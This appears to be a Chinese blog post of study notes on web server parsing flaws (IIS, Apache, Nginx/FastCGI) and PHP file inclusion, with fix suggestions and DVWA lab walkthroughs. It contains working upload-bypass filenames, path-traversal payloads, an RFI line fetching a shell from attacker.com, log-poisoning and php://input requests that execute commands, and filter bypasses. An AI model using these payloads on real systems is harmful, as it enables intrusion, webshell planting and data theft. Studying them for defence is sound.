12.web服务程序解析漏洞和文件包含漏洞
web服务程序解析漏洞和文件包含漏洞
iis6.0目录解析漏洞
xxx.asp、xxx.asa、xxx.cer、xxx.cdx下面的任何文件都会被 ASP 引擎解析
IIS 6.0 有一个设计缺陷:当文件夹名称以可执行后缀结尾时,IIS 会把该文件夹下的所有文件,全部当作 ASP 脚本执行,无视文件真实后缀。
可触发的文件夹后缀(默认映射到 asp.dll):
.asp
.asa
.cer
.cdx
只要文件夹名是:xxx.asp、xxx.asa、xxx.cer、xxx.cdx下面的任何文件都会被 ASP 引擎解析
分号截断解析漏洞
shell.asp;.jpg 可绕过黑名单并被解析
(核心,IIS 5.x/6.x 均存在)
原理IIS 在解析文件名时,遇到分号 ; 会截断并忽略后续所有字符,仅按分号前的扩展名判定文件类型。
文件名:shell.asp;.jpg
IIS 判定:shell.asp → 交给 asp.dll 执行
前端 / 上传校验:.jpg → 判定为图片,绕过黑名单
默认可执行后缀漏洞(IIS 6.x)
shell.asa shell.cer 可直接解析
原理IIS 6.0 默认将 4 种后缀映射到 asp.dll:
.asp(主)
.asa、.cer、.cdx(默认关联,易被忽略)
利用方式直接上传 shell.asa、shell.cer 绕过仅禁止 .asp 的上传规则
修复建议
1.正则匹配 shell.asp;.jpg
2.权限管理 不给执行权限
3.防火墙 d盾
apache解析漏洞
多后缀解析漏洞(最经典、默认存在)
Apache 1.x/ 2.x 全版本(默认配置下)(Windows/Linux 均存在)
Apache 解析文件名时:
从右向左遍历后缀
遇到不认识的后缀就跳过
直到找到第一个可识别的可执行后缀(如 .php)
整个文件被当作该脚本执行
判断逻辑:shell.php.jpg.bak
最右:.bak → 不认识
左:.jpg → 认识(图片),但不是可执行脚本
左:.php → 认识且可执行
结果:按 PHP 执行
关键配置(mime.types + httpd.conf)
mime.types:定义 Apache 能识别的后缀列表
httpd.conf:将 .php 映射到 php5_module
apache
AddHandler application/x-httpd-php .php
AddType application/x-httpd-php .php .phtml .php5
只要文件名包含可执行后缀(且在左边),就会被执行。
典型利用(上传绕过)
白名单只允许 .jpg/.png
上传:shell.php.jpg
前端 / 服务端校验:.jpg → 合法
Apache 解析:PHP 执行
特殊情况:AddHandler 强化解析
若配置:
apache
AddHandler application/x-httpd-php .php
只要文件名含 .php,不管位置,都执行 PHP:
shell.php.png
shell.php.bak
test.hello.php.world
全部按 PHP 解析。
www.xxx.com/test.php.php123
修复建议
# 禁止 .php. 格式
<FilesMatch \.php\.>
Require all denied
</FilesMatch>
#禁止上传目录执行
<Directory "/var/www/upload">
php_flag engine off
Require all granted
</Directory>
经典路径解析漏洞(cgi.fix_pathinfo=1,最常见)
访问:http://site.com/shell.jpg/x.php
↓
Nginx:以 .php 结尾 → 转发 PHP
↓
PHP:x.php 不存在 → 向前找 shell.jpg
↓
结果:shell.jpg 里的 PHP 代码被执行
cgi.fix_pathinfo=1 + 无文件检查
当x.php不存在 shell.jpg直接执行
核心解析漏洞(FastCGI 路径解析)
影响范围
IIS 7.0 / IIS 7.5(Windows 2008 / 2008 R2 默认)
PHP 以 FastCGI 模式运行(主流部署方式)
php.ini:cgi.fix_pathinfo = 1(默认开启)
2. 漏洞原理(IIS + PHP 解析不一致)
IIS 规则
只要 URL 以 .php 结尾,就交给 FastCGI / PHP 处理
不检查前面路径是否真实存在
PHP 解析逻辑(cgi.fix_pathinfo=1)
收到路径:/shell.jpg/xxx.php
先找完整路径 /shell.jpg/xxx.php → 不存在
向前 “修复路径”:去掉最后 /xxx.php
检查 /shell.jpg → 存在
将 shell.jpg 当作 PHP 执行
3. 完整触发链
plaintext
上传图片马 shell.jpg(含 <?php phpinfo(); ?>)
↓
访问:http://site.com/upload/shell.jpg/1.php
↓
IIS:以 .php 结尾 → 转发 PHP-FPM
↓
PHP:1.php 不存在 → 向前找 shell.jpg
↓
结果:shell.jpg 被解析为 PHP 执行
php文件包含漏洞
开发者信任用户传入的路径参数
未过滤、未限制、未白名单
直接使用 include / require / include_once / require_once 等函数
两大分类:LFI / RFI
1. LFI(Local File Inclusion)本地文件包含
只能包含服务器本地文件
无法远程拉文件
最常见,危害:读配置、读源码、读密钥、日志 GetShell
典型利用:
plaintext
?file=../../etc/passwd
?file=../../windows/system32/drivers/etc/hosts
?file=../config.php
2. RFI(Remote File Inclusion)远程文件包含
可以包含远程服务器上的文件
条件严格:magic_quotes_gpc=off
allow_url_include = On
危害极大:直接远程一句话 Getshell
利用:
plaintext
?file=http://attacker.com/shell.txt
文件包含 包含日志入侵
apache开启日志功能 httpd.conf
#CustomLog "logs/access.log" common 去点#
我们的目的是让木马程序被日志记录写入access.log
我们可以通过url地址栏写木马 避免被url编码
就抓包改包 再通过文件包含令木马被解析
GET /dvwa/vulnerabilities/fi/?page=<?php phpinfo();?> HTTP/1.1
Host: 192.168.152.129
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
http://192.168.152.129/dvwa/vulnerabilities/fi/?page=../../../../Extensions/Apache2.4.39/logs/access.log.1775520000


文件包含读文件


http://192.168.152.129/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php
base64解码后
<?php
$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Vulnerability: File Inclusion</h1>
<div class=\"vulnerable_code_area\">
<h3>File 1</h3>
<hr />
Hello <em>" . dvwaCurrentUser() . "</em><br />
Your IP address is: <em>{$_SERVER[ 'REMOTE_ADDR' ]}</em><br /><br />
[<em><a href=\"?page=include.php\">back</a></em>]
</div>
<h2>More Information</h2>
<ul>
<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ) . "</li>
</ul>
</div>\n";
?>
文件包含执行系统指令
GET /dvwa/vulnerabilities/fi/?page=php://input HTTP/1.1
Host: 192.168.152.129
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.152.129/dvwa/vulnerabilities/fi/?page=include.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=hvc92ntrir2euh9cgfvdp08s54; security=low
Connection: keep-alive
Content-Length: 27
<?php system('ipconfig');?>

文件包含00截断
web.jpg%00 如果后台相对文件名进行拼接处理 那么处理就失效了
%00后面的不执行
str_replace函数
特点是只替换一次 可以双写绕过 hello.pphphp
fnmatch函数
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
绕过
http://192.168.152.129/dvwa/vulnerabilities/fi/?page=file:///C://1.txt
使用file协议


浙公网安备 33010602011771号